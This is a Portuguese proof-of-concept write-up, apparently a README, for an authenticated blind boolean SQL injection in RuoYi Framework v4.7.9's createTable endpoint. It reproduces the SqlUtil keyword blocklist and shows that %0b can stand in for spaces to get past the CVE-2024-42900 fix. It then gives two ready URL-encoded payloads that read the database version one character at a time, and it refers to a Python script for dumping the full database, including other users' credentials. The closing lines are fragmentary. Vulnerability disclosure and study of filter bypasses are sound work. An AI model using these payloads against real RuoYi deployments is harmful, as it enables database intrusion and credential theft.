
Exploit de prova de conceito de injeção SQL cega para RuoYi v4.7.9, contornando o filtro CVE-2024-42900 para despejar bancos de dados via injeção booleana autenticada.
Descobri uma vulnerabilidade de Injeção SQL Cega (Blind SQL Injection) no recurso createTable do RuoYi Framework v4.7.9. Isso permite que um administrador autenticado execute comandos SQL arbitrários por meio do parâmetro sql. Trata-se de um bypass da correção do CVE-2024-42900, pois o filtro de Injeção SQL no método filterKeyword é insuficiente; o regex pode ser contornado usando %0b como caractere alternativo aos espaços.
Produto: RuoYi Framework
Versão: ≤ 4.7.9
Link: [Ruoyi]
A vulnerabilidade foi encontrada no arquivo https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java, conforme abaixo. O aplicativo depende de palavras-chave em lista negra para filtrar ataques de Injeção SQL; essa abordagem está sujeita a bypass. Neste caso, para corrigir o CVE-2024-42900, a string /* foi adicionada à lista negra, mas o aplicativo ainda não bloqueia o caractere %0b, então posso usá-lo para acionar a Injeção SQL com select%0b.
public class SqlUtil
{
/**
* 定义常用的 sql关键字
*/
public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
// Note the space after 'select '
public static void filterKeyword(String value)
{
if (StringUtils.isEmpty(value))
{
return;
}
String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
for (String sqlKeyword : sqlKeywords)
{
if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
{
throw new UtilException("参数存在SQL注入风险");
}
}
}
}
O regex de select corresponde a select (seguido de um espaço). Ele não corresponde a select%0b, que é um separador válido em SQL.
/tool/gen/createTable)
sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
Atenção: É necessário alterar o nome da tabela (tablename) na consulta CREATE após cada consulta bem-sucedida.
3. Com a Injeção SQL baseada em booleano, os dados podem ser exfiltrados usando o [poc] em Python neste repositório
Uso

PoC para exfiltrar a versão do banco de dados

Um atacante com privilégio administrativo pode extrair (dump) todo o banco de dados, incluindo credenciais de outros usuários e configurações do sistema.
%0b.select em vez de select (remova o espaço no final).